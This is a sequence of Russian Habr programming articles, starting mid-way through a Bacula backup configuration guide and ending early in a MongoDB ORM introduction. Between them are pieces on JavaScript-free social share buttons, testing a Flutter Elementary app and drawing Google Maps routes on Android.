Schedule = "WinDiff"
# имя пула(для разных клиентов разные пулы
# томов(volume) куда пишутся сами бекапы)
Pool = poolwinsrvnfs
# имя клиента
Client=winsrv-fd
# в этом файле содержится информация о том,
# какие файлы должны будут востанавливаться,
#на каком вольюме находятся файлы, где конкретно
# они находятся - это очень важные файлы, их
# нужно бэкапить
Write Bootstrap = "/var/lib/bacula/%n.bsr"
# имя ресурса messages, который будет
# использоваться для этого задания
Messages = Standard
}
Job {
# Имя задачи для восстановления данных
Name = "ResotreWinsrv"
Type = Restore
Client=winsrv-fd
FileSet="WinFileSet"
Storage = winsrv-nfs
Pool = poolwinsrvnfs
Messages = Standard
# Папка куда будут складывать восстановленные
# данные на клиенте. И что не затереть новую версию
# файлов, лучше их восстанавливать в отдельную папку
Where = /1/
}
```
**client-sd-kubuntu.conf**Device {
# имя, о соответствии имен и паролей будет сказано ниже
Name = KubFileStorage
# тип
Media Type = File
# директория где лежат файлы этого устройства(тома, volumes)
Archive Device = /media/nfs\_linbackup\_v1/kubuntu
# новые тома будут обзываться согласно настроек Pool'а(здесь Vol\*) см.
# конфиг DD
LabelMedia = yes;
# для устройства типа File должно быть так
Random Access = Yes;
# если устройство открыто, использовать его
AutomaticMount = yes;
# думаю понятно =)
RemovableMedia = no;
# открывать только тогда, когда стартует соответствующие задание
AlwaysOpen = no;
}
**client-sd-winsrv.conf**Device {
# имя, о соответствии имен и паролей будет сказано ниже
Name = winsrvFileStorage
# тип
Media Type = File
# директория где лежат файлы этого устройства(тома, volumes)
Archive Device = /media/nfs\_linbackup\_v2/winsrv
# новые тома будут обзываться согласно настроек Pool'а(здесь Vol\*) см.
# конфиг DD
LabelMedia = yes;
# для устройства типа File должно быть так
Random Access = Yes;
# если устройство открыто, использовать его
AutomaticMount = yes;
# думаю понятно =)
RemovableMedia = no;
# открывать только тогда, когда стартует соответствующие задание
AlwaysOpen = no;
}
**ClientPCKUBUNT\_usr\_local\_etc\_bacula-fd.conf**Director {
Name = center.domain.local-dir
Password = «PassClient\_3»
}
FileDaemon {
Name = kub-fd
FDport = 9102
WorkingDirectory = /var/lib/bacula
Pid Directory = /var/run/bacula
Maximum Concurrent Jobs = 20
FDAddress = 192.168.1.20 # адрес или имя клиента
}
Messages {
Name = Standard
director = center.domain.local-dir = all, !skipped, !restored
}
**ClientPCWIN\_backup\_bacula\_winsrv-fd.conf**# Client (File Services) to backup
Client {
Name = winsrv-fd
Address = 192.168.1.40
FDPort = 9102
Catalog = MyCatalog
Password = «PassClient\_3»
File Retention = 30 days
Job Retention = 2 months
AutoPrune = yes
}
**ClientPCWIN\_ProgramFiles\_Bacula\_bacula-fd.conf**Director {
Name = center.domain.local-dir
Password = «PassClient\_3»
}
FileDaemon {
Name = winsrv-fd
FDport = 9102
WorkingDirectory = «C:\\Program Files\\Bacula\\working»
Pid Directory = «C:\\Program Files\\Bacula\\working»
# Plugin Directory = «C:\\Program Files\\Bacula\\plugins»
Maximum Concurrent Jobs = 10
Messages {
Name = Standard
director = center.domain.local-dir = all, !skipped, !restored
}
### Как управлять этим локомотивам
Наш паровоз завелся и вроде помчался в наше счастливое будущее. Но нужно всегда за ним посматривать. Для этого умные люди придумали Bacula Administration Tool (BAT). Что бы им пользоваться вам его надо установить из репозитариев. Так как дистрибутивы у всех разные вдаваться в подробности не станем. Но вот настроить следует. Для этого открываем файл /etc/bacula/bat.conf на компьютере с которого будем управлять и вносим изменения:
```
Director {
Name = center.domain.local-dir
DIRport = 9101
address = 192.168.1.100
Password = "Passdir_1"
}
```
Если все правильно настроено запускаем Bacula Administration Tool и видим подобное окно:
Далее нам нужно посмотреть какие все таки задания мы сделали — вкладка JOBS. Особенно данная вкладка нам пригодится когда мы будем что либо восстанавливать.
Далее нам будет интересно глянуть что же техника уже успела натворить — вкладка Jobs Run
А если дважды нажать на задание то мы получаем полную информацию что сделано, за сколько и как обстоят дела.
Обязательно забредем во вкладку Media, где нам наглядно покажут заполняемость наших файликов и их перезапись (Крайне удобная штука, которая позволяет определить все ли хорошо у нас с местом. А то я количество вольюмов перебрал и мой NAS быстро переполнился.)
А теперь самое важное — как восстанавливать. Уже известная нам вкладка JOBS\_RUN и выбираем ту выполненную задачу, в которой есть нужный нам файл. Но бывает такое что мы не знаем, есть ли там нужный нам файл. Нажав правой кнопкой получаем меню, в котором нужно выбрать «List files on job».
Убедившись что там есть нужный нам файл, возвращаемся к «Jobs Run» и на нужном нам задании вызываем контекстное меню и выбираем «Restore from Job» — восстановить из задания или «Restore from Time» — восстановить по времени. В появившемся окне можно выбрать — по номеру задания, ну или вообще по заданию за одно проверив все настройки.
Нажимаем «ОК» и через несколько секунд нашему взору предстанет дерево файлов, сохраненные в этом задании, где нам галочками нужно отметить интересующие нас файлы.
После выбора файлов система предложит нам выбрать задание, которым мы будем восстанавливать. Интересная особенность — если у вас для данного конкретного клиента нету задачи на восстановление, то можно использовать любое задание на восстановление, лишь изменив параметры задачи перед ее применением (см. ниже). Жмем «ОК» и наслаждаемся выполнением задания.
Вот впринципе и все. Надеюсь статья найдет своего читателя. Все файлы использованные в статье лежат на моем [диске.](https://drive.google.com/folderview?id=0B21LghPmkHwbNnZkVS1nSGszMUE&usp=sharing)
Возможно слишком много картинок и текстов, возможно есть ошибки, возможно не хватает каких-то серьезных деталей, но я пытался облегчить использование программы для тех кто не хочет сильно углубляться (ну или для тех, у кого мало опыта, например для меня).
P.S. Главное что бы это работало, а все остальное не важно | https://habr.com/ru/post/211755/ | null | ru | null |
# Избавляемся от JavaScript в социальных кнопках (Facebook, VK, Twitter и др.)
Как мы избавились от JavaScript-библиотек социальных сетей, ускорили скорость загрузки страниц и использовали RESTful API для “шаринга” и “лайков”.
Почему HTML и только?
=====================
Все кнопи “шаринга” и “лайков” предлагаемые от Twitter, Google+, LinkedIn, vk.com, Facebook обязывают нас внедрять в проекты их собственный JavaScript-код, каждый подключенный скрипт выполняет запросы и подгружает дополнительные файлы со сторонних серверов, каждый запрос «на сторону» замедляет скорость загрузки страницы и увеличивает нагрузку на устройство пользователя. Пользователь вынужден ждать пока будут закончены такие процессы как DNS-lookup, HTTP-запрос, затем ответ включающий в себя сам скрипт, стили и изображения используемые в кнопке.
Далее следует процесс проверки пользователя на предмет авторизации в социальной сети, парсинг пришедшей информации, перестраивание DOM’а и отрисовка новых элементов. После того как все необходимые процессы для появления самой кнопки — окончены, погруженный скрипт продолжает работать, устанавливает third-party cookies, следит за пользователем, его действиями и предпочтениями (вот откуда социальные сети показывают нам “правильную” рекламу).
Другой момент — все “шаринг/лайк”-кнопки находятся вне нашего контроля, как их поведение, так и стили на странице.
Мы решили использовать RESTful API (он же HTTP GET) и связку Twitter Bootstrap 3 + Font Awesome для имплементации кнопок “шаринга” и “лайков” от всех популярных социальных сетей. Данный подход применим к любому открытому REST-функционалу не требующему авторизации приложения, любой социальной сети.
Подготовка
----------
Подключаем TWBS3 и FA. Находим [цвета брендов социальных сетей](http://designpieces.com/2012/12/social-media-colours-hex-and-rgb/) и пишем CSS-стили для них. Для Google+ и Surfingbird создаем дополнительные стили, помещающие логотип в кнопку “правильным” образом. Стили:
**Код дополнительных CSS-стилей**
```
i.fb, span.fb{ color: #3b5998; }
i.tw, span.tw{ color: #00aced; }
i.google, span.google{ color: #dd4b39; }
i.linkin, span.linkin{ color: #007bb6; }
i.vk, span.vk{ color: #45668e; }
i.pinterest,span.pinterest{color: #cb2027;}
i.surfingbird{ max-height: 12px; min-width: 25%; }
i.surfingbird::before{
content: url(http://bootstrap-ru.com/cdn/i/surf.png);
position: relative;
left:0px;
top: -7px;
float: left;
}
.google-plus-one{
overflow: hidden;
position: relative;
}
.google-plus-one i{
position: absolute;
left: -4px;
bottom: -5px;
}
.google-plus-one span{
font-size: 16px;
font-weight: 900;
line-height: 10px;
margin-left: 15px;
}
.btn-sm.google-plus-one span{ font-size: 14px; }
.btn-sm.google-plus-one i{ bottom: -3px; }
.btn-lg.google-plus-one span{ font-size: 20px; margin-left: 18px; }
.btn-lg.google-plus-one i{ bottom: -5px; }
.btn-xs.google-plus-one span{ font-size: 12px;}
.btn-xs.google-plus-one i{ bottom: -7px; }
```
Создаем html-разметку кнопок
----------------------------
Находим [HTTP-endpoint’ы от социальных сетей](https://gist.github.com/dr-dimitru/7164862), узнаем какие параметры можно передать через GET. Подбираем иконку и сверяемся с ранее созданными CSS-стилями. Мы будем использовать следующую разметку:
```
[*SO*](“addre.ss?param=_VALUE_”)
### Facebook Like
Стандартный “лайк” для определенного URL.
HTTP-endpoint: `http://www.facebook.com/plugins/like.php`
Параметры:
* `u` — url
### Twitter Tweet
“Твит” с ссылкой на страницу и дополнительным текстом.
HTTP-endpoint: `http://twitter.com/share`
Параметры:
* `url` — url
* `text` — сопровождающий текст
* `via` — ссылка на Twitter-аккаунт (например официальный канал сайта)
### Google Plus One (+1)
+1 к URL
HTTP-endpoint: `https://apis.google.com/_/+1/fastbutton`
Параметры:
* `url` — url
* `usegapi` — Принимает значения `true`/`false`. Используется для включения/выключения показа дополнительного окна “расшарить”
* `size` — Принимает значения: `small`, `medium`, `standard` (по умолчанию), `tall`
* `hl` — Язык, [список доступных языков](https://developers.google.com/+/web/+1button/#available-languages)
С полным списком принимаемых параметров можно ознакомится — [тут](https://developers.google.com/+/web/+1button/#tag_parameters).
### Google Plus Share (Поделиться)
Поделиться (“расшарить”) URL.
HTTP-endpoint: `https://plus.google.com/share`
Параметры:
* `url` — url
### LinkedIn Share (Поделиться)
Поделиться (“расшарить”) URL.
HTTP-endpoint: `http://www.linkedin.com/shareArticle`
Параметры:
* `url` — url
### VK.com (Vkontakte) Поделиться
Поделиться (“расшарить”) URL. С возможностью указать название сайта, его описание и картинку.
HTTP-endpoint: `http://vk.com/share.php`
* `url` — url
* `title` — Название сайта (страницы)
* `description` — Описание сайта (страницы)
* `image` — URL на картинку
С полным списком принимаемых параметров можно ознакомится — [тут](http://vk.com/pages?oid=-17680044&p=Sharing_External_Pages).
### Pinterest Pin
Поделиться медиа-файлом и URL на Pinterest.
HTTP-endpoint: `http://www.pinterest.com/pin/create/button/`
* `url` — url
* `media` — URL на картинку или видео
* `description` — Описание сайта (страницы)
### Surfingbird Surf!
Поделиться (“расшарить”) URL. Имейте ввиду, что Surfingbird не парсит предоставленный URL-страницы, все параметры ниже обязательны к заполнению. Так же в Font Awesome не присутствует иконка Surfingbird, мы добавим её в виде картинки.
HTTP-endpoint: `http://surfingbird.ru/share`
* `url` — url
* `title` — Название сайта (страницы)
* `description` — Описание сайта (страницы)
* `screenshot` — URL на изображение со скриншотом сайта
**Финальный код кнопок объединенных в .btn-group**
```
Share:
[1](https://apis.google.com/_/+1/fastbutton?usegapi=1&size=large&hl=en&url=_URL_ "+1 On Google")
```
Пример с полным набором работающих кнопок есть на [jsfiddle.net](http://jsfiddle.net/ostrio/MVDh6/6/) и [codepen.io](http://codepen.io/OstrIO/pen/ICGiH).
Полезные ссылки:
* Статья на английском: [Social HTML-only Buttons](https://veliovgroup.com/article/QTA2494eT8ThrqcZi)
* [Палитра цветов брендов социальных сетей](http://designpieces.com/2012/12/social-media-colours-hex-and-rgb/)
* [REST-endpoint’ы](https://gist.github.com/dr-dimitru/7164862)
* Библиотеки для генерации кнопок: [shb](https://github.com/dr-dimitru/SHB-js) и [SocialButtons](https://github.com/fonorobert/SocialButtons), **UPD**: [shariff](https://github.com/heiseonline/shariff) (запрашиваем данные на сервере), [Social Likes](https://github.com/sapegin/social-likes) (плагин jQuery)
``` | https://habr.com/ru/post/250021/ | null | ru | null |
# Элементарное тестирование, или тестирование Elementary
Всем привет, на связи Surf. Ранее мы рассмотрели процесс создания небольшого приложения с использованием пакета Elementary и разобрали, как он устроен. Теперь поговорим о тестировании.
* [Elementary: новый взгляд на архитектуру Flutter-приложений](https://go.surf.dev/hr/flutter/habr/elementary_konoshenko6)
* [Как устроен Elementary](https://go.surf.dev/hr/flutter/habr/elementary_konoshenko7)
В статье расскажу, какие виды тестов бывают, и на примере покажу, как покрыть тестами приложение, написанное при помощи Elementary.
Пакет доступен на [pub.dev](https://go.surf.dev/hr/flutter/habr/elementary_testing). Исходный код можно посмотреть на [GitHub](https://go.surf.dev/hr/flutter/habr/elementary_testing1).
Сравнение видов тестов
----------------------
В официальной документации есть три базовых вида тестов: Unit, Widget, Integration.
**Unit-тест** проверяет одну функцию, метод или класс. Цель — убедиться, что функция выполняется правильно в различных условиях.
**Widget-тест** проверяет один виджет. Цель — убедиться, что пользовательский интерфейс виджета выглядит и ведёт себя так, как ожидалось. Тестирование виджета включает несколько классов и требует тестовой среды: она обеспечивает соответствующий контекст.
**Integration-тест** проверяет полное приложение или большую его часть. Цель — убедиться, что все виджеты и сервисы работают вместе, как ожидалось. Кроме того, интеграционные тесты используют для проверки производительности приложения.
Surf использует ещё один тип тестов — Golden. В официальной документации о нём не упоминается, но благодаря пакету [golden\_toolkit](https://go.surf.dev/hr/QA/habr/elementary_testing2) golden-тесты во Flutter стали возможны.
**Golden-тест** проверяет отдельные виджеты и целый экран. Визуальное представление компонента сравнивается с предыдущими результатами тестов.
Итоговая таблица сравнения типов тестированияТестируем UI
------------
Покроем тестами готовое приложение, которое писали в рамках статьи «[Elementary: новый взгляд на архитектуру Flutter-приложений](https://go.surf.dev/hr/flutter/habr/elementary_konoshenko6)». Проверять визуальное представление будем при помощи golden-тестов. Их легко освоить и поддерживать — если правильно соблюдать зависимости.
Если вы используете IDEA, добавьте конфигурацию запуска теста для генерации golden.
Также генерацию golden-тестов можно выполнить через CLI при помощи команды.
```
flutter test -- update-goldens
```
Перед началом работы с golden-тестами нужно добавить конфигурацию: положить в папку тест flutter\_test\_config.dart.
Код ниже выполняется при каждом тесте и подгружает шрифты.
```
Future testExecutable(FutureOr Function() testMain) async {
await loadAppFonts();
return testMain();
}
```
Когда команда генерации голденов будет выполнена, получим набор изображений: они будут расположены в директории с файлом теста.
За счёт мокированного интерфейса можно задавать различные сценарии и получать визуальные представления.
Магия простоты заключается в том, что ещё на этапе написания WM мы создаём интерфейс, который и определяет набор параметров. Далее просто мокируем нужные значения и прогоняем через тест.
#### Тест экрана выбора города
```
void main() {
const selectAddressScreen = SelectAddressScreen();
final selectAddressWm = SelectAddressWMMock();
setUp(() {
when(() => selectAddressWm.predictions).thenAnswer(
(_) => ValueNotifier>([]),
);
when(() => selectAddressWm.searchFieldController).thenAnswer(
(\_) => TextEditingController(),
);
});
testGoldens('select address screen default golden test', (tester) async {
await tester.pumpWidgetBuilder(selectAddressScreen.build(selectAddressWm));
await multiScreenGolden(tester, 'select\_address\_screen');
});
testGoldens('select address screen with data golden test', (tester) async {
when(() => selectAddressWm.predictions).thenAnswer(
(\_) => ValueNotifier>(\_locationMock),
);
await tester.pumpWidgetBuilder(selectAddressScreen.build(selectAddressWm));
await multiScreenGolden(tester, 'select\_address\_screen\_data');
});
}
```
#### Тест экрана прогноза погоды
```
void main() {
final wm = WeatherScreenWMMock();
const weatherScreen = WeatherScreen();
setUp(() {
when(() => wm.topPadding).thenReturn(16);
when(() => wm.currentWeather).thenReturn(
EntityStateNotifier.value(_mockWeathers),
);
when(() => wm.locationTitle).thenReturn(_locationMock.title);
});
testGoldens('weather details screen with data golden test', (tester) async {
await tester.pumpWidgetBuilder(weatherScreen.build(wm));
await multiScreenGolden(tester, 'weather_details_screen_data');
});
testGoldens('weather details screen with error golden test', (tester) async {
when(() => wm.currentWeather).thenReturn(
EntityStateNotifier.value([])..error(Exception()),
);
await tester.pumpWidgetBuilder(weatherScreen.build(wm));
await multiScreenGolden(tester, 'weather_details_screen_err');
});
}
```
Тестируем WidgetModel
---------------------
Для тестирования WidgetModel из пакета Elementary необходимо подключить библиотеку [elementary\_test](https://go.surf.dev/hr/flutter/habr/elementary_testing3): она предлагает несколько удобных инструментов для тестирования.
testWidgetModel — функция самого теста. При прохождении WidgetModel она описывает его поведение и проверяет результат. Функция также использует тестер для манипуляции фазами жизненного цикла WidgetModel, а BuildContext — для их имитации.
При написании теста стоит держать в голове, что окружение вокруг тестируемого объекта может быть полностью замокировано.
#### Тест виджет-модели экрана выбора города
```
void main() {
group('init select address screen wm', () {
final getIt = GetIt.instance;
setUp(() {
getIt.registerSingleton(AppModel());
});
test('createSelectAddressWM', () {
expect(() => createSelectAddressWM(BuildContextMock()), returnsNormally);
});
});
group('select address screen wm testing', () {
late SelectAddressModelMock modelData;
late NavigationHelperMock navigatorStateMock;
SelectAddressWM setupWm() {
modelData = SelectAddressModelMock();
navigatorStateMock = NavigationHelperMock();
when(() => modelData.getCityPrediction(any()))
.thenAnswer((invocation) => Future.value());
registerFallbackValue(MaterialPageRoute(builder: (\_) {
return const Center();
}));
return SelectAddressWM(modelData, navigatorStateMock);
}
testWidgetModel(
'onTapLocation call onLocationSelected and navigate to next screen',
setupWm,
(wm, tester, context) async {
tester.init();
wm.onTapLocation(\_locationMock);
verify(() => modelData.onLocationSelected(\_locationMock));
verify(() => navigatorStateMock.push(context, any()));
},
);
testWidgetModel(
'onTextChanged call getCityPrediction',
setupWm,
(wm, tester, context) async {
tester.init();
wm.searchFieldController.text = 'Test';
verify(() => modelData.getCityPrediction(any()));
},
);
});
}
```
#### Тест виджет-модели экрана прогноза погоды
```
void main() {
group('WeatherScreenWm init', () {
final getIt = GetIt.instance;
setUp(() {
getIt.registerSingleton(AppModel());
});
test('createWeatherScreenWM', () {
expect(() => createWeatherScreenWM(BuildContextMock()), returnsNormally);
});
});
group('WeatherScreenWM', () {
final modelData = WeatherScreenModelMock();
final contextHelperMock = ContextHelperMock();
WeatherScreenWM setupWm() {
when(modelData.getWeather).thenAnswer((invocation) => Future.value([]));
return WeatherScreenWM(contextHelperMock, modelData);
}
testWidgetModel(
'getWeather called after init wm ',
setupWm,
(wm, tester, context) async {
tester.init();
verify(modelData.getWeather);
},
);
testWidgetModel(
'topPadding getter return padding',
setupWm,
(wm, tester, context) async {
tester.init();
when(
() => contextHelperMock.getMediaQuery(context),
).thenReturn(const MediaQueryData());
expect(wm.topPadding, 16);
},
);
testWidgetModel(
'onRetryPressed call getWeather',
setupWm,
(wm, tester, context) async {
tester.init();
wm.onRetryPressed();
verify(modelData.getWeather);
},
);
});
}
```
Тестируем модель
----------------
Для тестирования модели используем unit-тесты. Перед написанием желательно ознакомиться с набором готовых матчеров: same, isTrue, isFalse, returnsNormally и так далее.
#### Тест модели экрана выбора города
```
void main() {
final addressServiceMock = AddressServiceMock();
late SelectAddressModel model;
setUp(() {
model = SelectAddressModel(addressServiceMock, AppModel());
});
test('init with empty list', () async {
when(() => addressServiceMock.getCityPredictions('')).thenAnswer(
(_) => Future.value([]),
);
expect(model.predictions.value, isEmpty);
});
test('getCityPrediction return empty list', () async {
when(() => addressServiceMock.getCityPredictions('Test')).thenAnswer(
(_) => Future.value(_locationMock),
);
await model.getCityPrediction('');
expect(model.predictions.value, isEmpty);
});
test('getCityPrediction return prediction list', () async {
await model.getCityPrediction('Test');
expect(model.predictions.value, same(_locationMock));
});
}
```
#### Тест модели экрана прогноза погоды
```
void main() {
late WeatherScreenModel wm;
final weatherServiceMock = WeatherServiceMock();
setUp(() {
wm = WeatherScreenModel(weatherServiceMock, _locationMock);
});
test('location getter return selected location', () {
expect(wm.location, same(_locationMock));
});
test('method getWeather return weather from weather service', () async {
when(() => weatherServiceMock.getWeather(any())).thenAnswer(
(invocation) => Future.value(_weatherMock),
);
expect(await wm.getWeather(), same(_weatherMock));
});
}
```
Проверяем покрытие
------------------
Инструкция по проверке покрытия испытания:
1. Собираем информацию о покрытии тестами.
```
flutter test --coverage --update-goldens
```
2. Генерируем HTML-отчёт.
```
genhtml coverage/lcov.info -o coverage/html
```
3. Открываем сгенерированный отчёт.
```
open coverage/html
```
Получаем детальную информацию о состоянии покрытия тестами. Также можно посмотреть места, ещё не покрытые тестами. Это очень удобный инструмент, если вы активно пишете тесты.
---
Мы на практике увидели, что приложение, написанное при помощи пакета Elementary, можно легко протестировать всеми видами тестов. Это стало возможно благодаря разделению приложения на слои и отсутствию большой связанности между ними.
* [Исходный код с приложением и тестами](https://go.surf.dev/hr/flutter/habr/elementary_testing4) | https://habr.com/ru/post/650557/ | null | ru | null |
# Маршруты на картах Google в вашем Android-приложении. Альтернативный подход
Прочитав недавно появившуюся статью [Маршруты на картах Google в вашем Android-приложении](http://habrahabr.ru/post/141833/), я решил показать еще один альтернативный подход, для решения этой задачи. Возможно он даст немного большее представление о работе с google-maps и поможет новичкам быстрее разобраться с этим вопросом.
#### Получаем координаты
Хорошая новость, что google предоставляет нам api к службе для вычисления маршрутов между координатами. По этому общая структура предстоящей работы приблизительно такая:
* Формируем запрос с параметрами
* Отправляем запрос и получаем ответ
* Парсим ответ
* Рисуем overlay на картах
##### Формирование запроса
Полную информацию о том, как выглядит запрос можно найти в оффициальной документации на [Google developers](https://developers.google.com/maps/documentation/directions/). Здесь же я рассмотрю основные аспекты. В общем запрос выглядит так:
>
> ```
> http://maps.googleapis.com/maps/api/directions/output?parameters
> ```
>
Где *output* может принимать 2 значения:
* json – задает вывод в формате JavaScript Object Notation (JSON);
* xml – задает вывод в формате XML.
Сам google рекомендует нам использовать JSON, ну и я тоже.
*parameters* — это куча разный обязательных и не очень параметров, которые вы можете указать по вашим требованиям. О необязательных параметрах говорить не буду, скажу, что есть 3 основных, которые должны быть указаны в обязательном порядке:
* origin – адрес или текстовое значение широты и долготы отправного пункта маршрута.
* destination – адрес или текстовое значение широты и долготы конечного пункта маршрута.
* sensor – указывает, исходит ли запрос маршрута от устройства с датчиком местоположения. Допустимые значения – true или false.
В конечном итоге, самый простой запрос (от Воронежа до Москвы) c JSON ответом выглядит так:
>
> ```
> http://maps.googleapis.com/maps/api/directions/json?origin=Воронеж&destination=Москва&sensor=false
> ```
>
Не буду приводить код к этой части, так как сформировать нужную вам строчку кода, дело довольно тривиальное.
##### Отправка запроса и получение результата
Итак, запрос сформирован, пора отправлять. Существует наверно куча методов, как выполнить запрос к сервису, но я что-бы облегчить себе жизнь до 2-ух строчек, воспользуюсь [Spring Framework for android](http://www.springsource.org/spring-android). Ну а вы как сами знаете. Скачал либу, положил в проект, запрос выглядит как то так:
```
RestTemplate rTemplate = new RestTemplate();
String jsonResponse = rTemplate.getForObject(query, String.class));
```
##### Парсинг ответа
Мы получили ответ в json формате, который содержит много различной информации о маршруте, но нам нужны только координаты, по которым мы будем рисовать наш overlay, по этому все остальные результаты я опущу, о них можно прочитать все там-же на [Google developers](https://developers.google.com/maps/documentation/directions/).
Давайте распарсим наш json, код выглядит как-то так:
```
public ArrayList parse(JSONObject jsonObject) throws AuthenticationException {
ArrayList list = new ArrayList();
Location startGeo;
Location endGeo;
JSONArray results = jsonObject.optJSONArray("routes");
JSONObject route = results.optJSONObject(0);
JSONArray legs = route.optJSONArray("legs");
JSONObject leg = legs.optJSONObject(0);
JSONArray steps = leg.optJSONArray("steps");
for (int i=0; i < steps.length(); ++i) {
JSONObject step = steps.optJSONObject(i);
JSONObject startP = step.optJSONObject("start\_location");
JSONObject endP = step.optJSONObject("end\_location");
JSONObject polyline = step.optJSONObject("polyline");
String encodedPoints = polyline.optString("points");
startGeo = new Location("");
endGeo = new Location("");
startGeo.setLatitude(startP.optDouble("lat"));
startGeo.setLongitude(startP.optDouble("lng"));
endGeo.setLatitude(endP.optDouble("lat"));
endGeo.setLongitude(endP.optDouble("lng"));
list.add(new Section(startGeo.getLatitude(), startGeo.getLongitude(),
endGeo.getLatitude(), endGeo.getLongitude() , encodedPoints));
}
return list;
}
```
Основная, интересующая нас информация лежит в массиве «steps», структура которого выглядит так:
```
"steps": [ {
"travel_mode": "DRIVING",
"start_location": {
"lat": 41.8507300,
"lng": -87.6512600
},
"end_location": {
"lat": 41.8525800,
"lng": -87.6514100
},
"polyline": {
"points": "a~l~Fjk~uOwHJy@P",
"levels": "B?B"
},
"duration": {
"value": 19,
"text": "1 min"
},
"html_instructions": "Head \u003cb\u003enorth\u003c/b\u003e on \u003cb\u003eS Morgan St\u003c/b\u003e toward \u003cb\u003eW Cermak Rd\u003c/b\u003e",
"distance": {
"value": 207,
"text": "0.1 mi"
}
},
...
```
Каждый элемент массива «steps» содержит поле «start\_location» и «end\_location» — это координаты некоторых важных, опорных точек маршрута, таких как например перекрестки. Если выполнить запрос от Москвы до Воронежа, то таких точек будет около 20. Понятное дело, рисовать по 20 точкам не получится, что-же делать? На самом деле нам стоит обратить внимание на поле «polyline». Оно содержит в себе еще два поля «points» и «level». Содержимое «points» выглядит жутковато, но на самом деле это и есть наши координаты, которые кодируются [вот так](https://developers.google.com/maps/documentation/utilities/polylinealgorithm?hl=ru-RU). Бояться не стоит, за нас уже все придумали, [берем](http://stackoverflow.com/questions/6708408/map-view-draw-directions-using-google-directions-api-decoding-polylines) и пользуемся. Так мы получаем огромное количество координат, по которым мы будем рисовать нашу дорогу. Не забудьте что, строка «polyline» содержится в каждом элементе «steps».
#### Рисуем Overlay
На данный момент мы разобрались как выглядит запрос, как его можно отправить, как получить и распарсить ответ. Из всего этого имеем кучу координат, по которым нам нужно рисовать наш путь. Код может выглядить так:
```
private class Road extends Overlay {
private ArrayList list;
private Paint paint;
public Road(ArrayList list) {
this.list = new ArrayList();
this.list.addAll(list);
paint = new Paint();
paint.setColor(Color.MAGENTA);
paint.setStyle(Paint.Style.STROKE);
paint.setStrokeWidth(4);
}
@Override
public void draw(Canvas canvas, MapView mapView, boolean shadow) {
drawPath(mapView, canvas);
}
private void drawPath(MapView mv, Canvas canvas) {
int x1 = -1;
int y1 = -1;
int x2 = -1;
int y2 = -1;
Point point = new Point();
for (int i=0; i < list.size(); i++) {
mv.getProjection().toPixels(list.get(i), point);
x2 = point.x;
y2 = point.y;
if (i > 0) {
canvas.drawLine(x1, y1, x2, y2, paint);
}
x1 = x2;
y1 = y2;
}
}
```
Вот и вся работа. В результате мы легко можем получить маршрут между двумя любыми точками и отобразить его на нашей карте. Надеюсь, эта статья будет вам в помощь. Удачи.
Еще раз продублирую все ссылки в кучке:
[Google direction API](https://developers.google.com/maps/documentation/directions/) — полная информация по данному сервису.
[Spring framework](http://www.springsource.org/spring-android) — фрэймворк для rest запроса к google сервису. Как альтернатива.
[Формат шифрования ломаных линий](https://developers.google.com/maps/documentation/utilities/polylinealgorithm)
[Как раскодировать эти ваши ломаные линии?](http://stackoverflow.com/questions/6708408/map-view-draw-directions-using-google-directions-api-decoding-polylines) | https://habr.com/ru/post/142149/ | null | ru | null |
# Maraquia — ORM для MongoDB
После прочтения заголовка у многих наверняка возникает вопрос — зачем ещё один велосипед при наличии уже обкатанных Mongoose, Mongorito, TypeORM и т. д.? Для ответа нужно разобраться в чём отличие ORM от ODM. Смотрим википедию:
> ORM (англ. Object-Relational Mapping, рус. объектно-реляционное отображение, или преобразование) — технология программирования, которая связывает базы данных с концепциями объектно-ориентированных языков программирования, создавая «виртуальную объектную базу данных».
То есть ORM — это именно про реляционное представление данных. Напомню, в реляционных БД нет возможности просто взять и встроить документ в поле другого документа (в этой статье записи таблиц тоже называются документами, хоть это и некорректно), можно конечно хранить в поле JSON в виде строки, но индекс по данным в нём сделать не выйдет. Вместо этого используются "ссылки" — в поле, где должен быть вложенный документ, вместо него записывается его идентификатор, а сам документ с этим идентификатором сохраняется в соседней таблице. ORM умеет работать с такими ссылками — записи по ним автоматически сразу или лениво забираются из БД, а при сохранении не нужно сперва сохранять дочерний документ, брать назначенный ему идентификатор, записывать его в поле родительского документа и только после этого сохранять родительский документ. Нужно просто попросить ORM сохранить родительский документ и всё что с ним связано, а он (object-relational mapper) уже сам разберётся как это правильно сделать. ODM же наоборот, не умеет работать с такими ссылками, зато знает про встроенные документы.
Думаю отличия примерно понятны, так вот всё перечисленное выше является именно ODM. Даже TypeORM при работе с MongoDB имеет некоторые ограничения (<https://github.com/typeorm/typeorm/issues/655>) которые делают его опять же обычным ODM.
И тут вы спросите — а зачем? Зачем работая с документоориентированной БД мне понадобились какие-то ссылки? Есть минимум одна простая, но часто встречающаяся ситуация когда они всё же необходимы: на дочерний документ указывают несколько родительских, здесь можно каждому родительскому записать по копии дочернего и потом страдать обеспечивая консистентность данных в этих копиях, а можно просто сохранить дочерний документ в отдельной коллекции, а всем родителям дать ссылку на него (можно ещё в дочерний встраивать родительский, но это не всегда возможно, во-первых, отношение может быть many-to-many, во-вторых, дочерний тип может быть слишком второстепенен в системе и завтра может вообще исчезнуть из БД, встраивать в него что-то ключевое совсем не хочется).
Долгое время я работал с RethinkDB для которого есть несколько неплохих ORM ([thinky](https://github.com/neumino/thinky), [requelize](https://github.com/buckless/requelize), ...), но последнее время активность разработки этой БД совсем уж вызывает уныние. Я решил посмотреть в сторону MongoDB и первое чего я **не** обнаружил, это подобных пакетов. Почему бы не написать самому, это будет довольно интересный опыт, подумал я и, встречайте — Maraquia.
Установка
---------
```
npm i -S maraquia
```
При использовании с typescript необходимо также добавить `"experimentalDecorators": true` в `tsconfig.json`.
Настройка соединения
--------------------
Есть два способа, здесь рассмотрим более простой: в папке проекта создаём файл `config/maraquia.json` в который добавляем следующее:
```
{
"databaseUrl": "mongodb://localhost:27017/",
"databaseName": "Test"
}
```
Использование
-------------
### Сохранение в БД
Простой пример отношения one-to-many со ссылкой только в одну сторону (примеры будут на typescript, в конце пример на javascript):
```
import { BaseModel, Field, Model } from 'maraquia';
@Model({
collectionName: 'Pet'
})
class Pet extends BaseModel {
@Field() name: string | null;
}
@Model({
collectionName: 'Owner'
})
class Owner extends BaseModel {
@Field() name: string | null;
@Field(() => Pet) pets: Promise | null>;
}
(async () => { // в следующих примерах я буду опускать эту строчку
let pet = new Pet({
name: 'Tatoshka'
});
let owner = new Owner({
name: 'Dmitry',
pets: [pet]
});
await owner.save();
})();
```
